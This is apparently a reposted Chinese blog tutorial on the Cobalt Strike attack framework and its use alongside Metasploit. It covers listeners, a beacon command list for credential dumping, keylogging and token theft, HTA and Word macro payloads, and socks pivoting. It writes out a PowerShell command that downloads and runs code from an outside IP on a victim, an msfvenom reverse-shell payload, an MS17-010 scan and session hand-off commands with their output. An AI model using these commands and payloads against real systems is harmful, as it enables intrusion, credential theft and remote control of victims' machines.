2022年1月6日01:39:18评论92 views字数 6429阅读21分25秒阅读模式

Cobalt Strike 是一款不错的渗透测试工具，拥有多种协议主机上线方式，集成了提权，凭据导出，端口转发，socket 代理，office 攻击，文件捆绑，钓鱼等多种功能。

0x1CS安装

Cobalt Strike3.8 工具下载链接：https://pan.baidu.com/s/1Zi5HuncVhlNKdeu_zptDmQ
提取码：7ckh

Linux下启动 teamserver

1	./teamserver 服务器外网ip 客户端连接密码

客户端连接
点击cobalstrike.jar客户端，填写相应信息

0x2 listener

一个“监听”就是一个等待连接被入侵的系统的服务器。

CS 的监视器有两个作用，

是告诉 CS 去为任何一种建立攻击载荷处理器;
那儿有一个被命名的别名是给处理器和设置信息作为参考的

攻击载荷有三种类型:

操作系统
攻击载荷名称
传输器

例如:

1	windows/beacon_http/reverse_http

是在 windows 操作系统下用 reverse_http 传输器来进行 beacon_http 攻击载荷

stager(传输器) 是一个很小的代码,它连接并下载真实的攻击载荷并且插入内存

CS 有两种监视器:

Beacon 为内置的 Listener，即在目标主机执行相应的payload，获取 shell 到 CS 上；其中包含DNS、HTTP、SMB。
Foreign为外部结合的 Listener，常用于 MSF 的结合，例如获取 meterpreter 到 MSF 上。

beacon 命令

Command                   Description
    -------                   -----------
    browserpivot              注入受害者浏览器进程
    bypassuac                 绕过UAC
    cancel                    取消正在进行的下载
    cd                        切换目录
    checkin                   强制让被控端回连一次
    clear                     清除beacon内部的任务队列
    connect                   Connect to a Beacon peer over TCP
    covertvpn                 部署Covert VPN客户端
    cp                        复制文件
    dcsync                    从DC中提取密码哈希
    desktop                   远程VNC
    dllinject                 反射DLL注入进程
    dllload                   使用LoadLibrary将DLL加载到进程中
    download                  下载文件
    downloads                 列出正在进行的文件下载
    drives                    列出目标盘符
    elevate                   尝试提权
    execute                   在目标上执行程序(无输出)
    execute-assembly          在目标上内存中执行本地.NET程序
    exit                      退出beacon
    getprivs                  Enable system privileges on current token
    getsystem                 尝试获取SYSTEM权限
    getuid                    获取用户ID
    hashdump                  转储密码哈希值
    help                      帮助
    inject                    在特定进程中生成会话
    jobkill                   杀死一个后台任务
    jobs                      列出后台任务
    kerberos_ccache_use       从ccache文件中导入票据应用于此会话
    kerberos_ticket_purge     清除当前会话的票据
    kerberos_ticket_use       从ticket文件中导入票据应用于此会话
    keylogger                 键盘记录
    kill                      结束进程
    link                      Connect to a Beacon peer over a named pipe
    logonpasswords            使用mimikatz转储凭据和哈希值
    ls                        列出文件
    make_token                创建令牌以传递凭据
    mimikatz                  运行mimikatz
    mkdir                     创建一个目录
    mode dns                  使用DNS A作为通信通道(仅限DNS beacon)
    mode dns-txt              使用DNS TXT作为通信通道(仅限D beacon)
    mode dns6                 使用DNS AAAA作为通信通道(仅限DNS beacon)
    mode http                 使用HTTP作为通信通道
    mv                        移动文件
    net                       net命令
    note                      备注       
    portscan                  进行端口扫描
    powerpick                 通过Unmanaged PowerShell执行命令
    powershell                通过powershell.exe执行命令
    powershell-import         导入powershell脚本
    ppid                      Set parent PID for spawned post-ex jobs
    ps                        显示进程列表
    p**ec                    Use a service to spawn a session on a host
    p**ec_psh                Use PowerShell to spawn a session on a host
    psinject                  在特定进程中执行PowerShell命令
    pth                       使用Mimikatz进行传递哈希
    pwd                       当前目录位置
    reg                       Query the registry
    rev2self                  恢复原始令牌
    rm                        删除文件或文件夹
    rportfwd                  端口转发
    run                       在目标上执行程序(返回输出)
    runas                     以另一个用户权限执行程序
    runasadmin                在高权限下执行程序
    runu                      Execute a program under another PID
    screenshot                屏幕截图
    setenv                    设置环境变量
    shell                     cmd执行命令
    shinject                  将shellcode注入进程
    shspawn                   生成进程并将shellcode注入其中
    sleep                     设置睡眠延迟时间
    socks                     启动SOCKS4代理
    socks stop                停止SOCKS4
    spawn                     Spawn a session 
    spawnas                   Spawn a session as another user
    spawnto                   Set executable to spawn processes into
    spawnu                    Spawn a session under another PID
    ssh                       使用ssh连接远程主机
    ssh-key                   使用密钥连接远程主机
    steal_token               从进程中窃取令牌
    timestomp                 将一个文件时间戳应用到另一个文件
    unlink                    Disconnect from parent Beacon
    upload                    上传文件
    wdigest                   使用mimikatz转储明文凭据
    winrm                     使用WinRM在主机上生成会话
    wmi                       使用WMI在主机上生成会话
    argue                      进程参数欺骗
复制代码

beacon有三种类型:

http beacon
dns beacon
smb beacon

0x2.1http beacon

创建Beacon Listener
Cobalt Strike->Listeners

创建 powershell 恶意代码
Attacks->Web Drive-by->scripted web delivery
CobaltStrike
复制里面的命令，并点击 ok

在受害机上执行该命令

1	powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://120.79.24.186/a'))"

CobaltStrike
受害机成功上线

0x2.2 smb beacon

SMB Beacon使用命名管道通过父级Beacon进行通讯，当两个Beacons连接后，子Beacon从父Beacon获取到任务并发送。因为连接的Beacons使用Windows命名管道进行通信，此流量封装在SMB协议中，所以SMB Beacon相对隐蔽，绕防火墙时可能发挥奇效。也经常利用 smb 提升权限。
CobaltStrike
选择目标，点击Interact ，在beacon>中输入 shell whoami/groups 查看当前权限，随后bypassuac smb ，成功后可看到产生一个新的 beacon 会话，yesi* 有带*号，表示为管理员。

** DNS Beacon **

DNS Beacon在绕过防火墙权限维持上非常有效

0x3.1 HTML Application

ATTACK->packages-> HTML Application

CobaltStrike
点击Generate,并保存evil.hta

将生成的evil.hta,上传到 CS 的服务器上
CobaltStrike
点击 Launch

复制 evil.hta 的 url 地址,并点击 ok

让受害机访问此 url 链接，并运行 evil.hta 文件

0x3.2 ms office macro

首先我们需要制作一个word宏病毒来进行远控操作。在Cobalt strike中，需要新建一个监听程序来进行监听

然后点击attacks -> packages -> ms office macro，选择前面所创建的listener

CobaltStrike
复制宏内容，然后打开一个word文档，添加宏，记得添加的地方不能有误，添加宏的位置在视图 -> 宏。创建宏以后添加代码是在project中，这点不能搞错，如下图

添加完成以后，只需要保存为启用宏的word就可以了，这样就制作为一个word宏病毒文件

0x3.3

0x4 与Metasploit 结合

CobalStrike 与 Metasploit 均是渗透利器，各有所长。前者更适合做稳控平台，后者则更擅长内网各类探测搜集与漏洞利用

0x4.1socks代理

通过Beacon内置的socks功能在VPS上开启代理端口，打通目标内网通道，之后将本地Metasploit直接带入目标内网，进行横向渗透

首先，到已控目标机的Beacon下将socks代理开启。

1	beacon> socks 1024

CobaltStrike
开菜单栏中的View > Proxy Pivots，点击Tunnel复制代理连接到Metasploit中

在Metasploit设置 socks代理，探测目标内网中存在MS17_010漏洞的主机

msf5 > setg Proxies socks4:120.79.24.186:1024    #让msf所有模块的流量都通过此代理走。(setg全局设置)
Proxies => socks4:120.79.24.186:1024
msf5 > setg ReverseAllowProxy true  #允许反向代理，通过socks反弹shell，建立双向通道。(探测可以不设置此项)
ReverseAllowProxy => true
msf5 > use auxiliary/scanner/smb/smb_ms17_010
msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.3.0/24
rhosts => 192.168.3.0/24
msf5 auxiliary(scanner/smb/smb_ms17_010) > set threads 100 
threads => 100
msf5 auxiliary(scanner/smb/smb_ms17_010) > run

[*] 192.168.3.0/24:445    - Scanned  71 of 256 hosts (27% complete)
[+] 192.168.3.3:445       - Host is likely VULNERABLE to MS17-010! - Windows 7 Enterprise 7601 Service Pack 1 x64 (64-bit)

0x4.2CS与MSF会话互传

** 0x4.2.1CobaltStrike派生Metasploit **

当CobaltStrike获得了一个上线机器，想把这个目标传给Metasploit中的meterpreter，获得一个session进行控制。在Metasploit执行以下命令

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.3.129
lhost => 192.168.3.129
setmsf5 exploit(multi/handler) > set lport 5555
lport => 5555
msf5 exploit(multi/handler) > run 

[*] Started reverse TCP handler on 192.168.3.129:5555

之后使用CobaltStrike创建一个windows/foreign/reverse_tcp的Listener。其中IP为Metasploit的监听地址，端口为Metasploit所监听的端口

然后选中计算机，右键->Spawn：选择MSF的监听器

CobaltStrike
一开始没有成功

1
2
3

[*] Meterpreter session 1 opened (192.168.3.129:5555 -> 192.168.3.3:50112) at 2020-02-08 09:56:43 -0500

[*] 192.168.3.3 - Meterpreter session 8 closed.  Reason: Died

尝试将受害者的防火墙关闭

** 0x4.2.2 Metasploit派生CobaltStrike **

Metasploit设置监听
CobaltStrike
msfvenom 生成payload

1	msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.129 LPORT=5555 -f exe > shell.exe

将生成的shell.exe，让受害机点击运行, msf成功得到一个session

在CobaltStrike中创建一个监听者，和上一步类似，这里host需要修改为CobaltStrike的IP，创建好之后便监听4444端口，等待着被控机连接

meterpreter > background 
[*] Backgrounding session 6...
msf5 exploit(multi/handler) >  use exploit/windows/local/payload_inject 
msf5 exploit(windows/local/payload_inject) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf5 exploit(windows/local/payload_inject) > set lhost 120.79.24.186
lhost => 120.79.24.186
msf5 exploit(windows/local/payload_inject) > set lport 4444
lport => 4444
msf5 exploit(windows/local/payload_inject) > set DisablePayloadHandler true   
DisablePayloadHandler => true
msf5 exploit(windows/local/payload_inject) > set session 6
session => 6
msf5 exploit(windows/local/payload_inject) > run

[*] Running module against YESI-PC
[-] PID  does not actually exist.
[*] Launching notepad.exe...
[*] Preparing 'windows/meterpreter/reverse_http' for PID 2860

这里倒是没有成功，暂留，日后补充。

参考文章:

CobaltStrike与Metasploit实战联动
 利用Cobalt strike一步步教你发送钓鱼邮件

FROM :blog.cfyqy.com | Author:cfyqy

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。

左青龙
微信扫一扫

右白虎
微信扫一扫

CobaltStrike

0x1CS安装

0x2 listener

0x2.1http beacon

0x2.2 smb beacon

0x3.1 HTML Application

0x3.2 ms office macro

0x3.3

0x4 与Metasploit 结合

0x4.1socks代理

0x4.2CS与MSF会话互传

综述合辑 | 《网络空间安全科学学报》综述论文（上）

通达OA 任意用户登录漏洞

Weblogic IIOP 反序列化漏洞学习笔记(CVE-2020-2551)

Python 定制QQ机器人

RocketMQ 5.1.1写计划任务RCE

Nacos Raft Hessian反序列化漏洞分析

Tabby学习笔记 & Java反序列化gadget分析

Apache Jena 代码执行漏洞(CVE-2023-22665)

Apache Archiva 任意目录删除(CVE-2022-40309) 和任意文件读取(CVE-2022-40308)

用CodeQL分析漏洞_CVE-2022-42889

发表评论

在线咨询

微信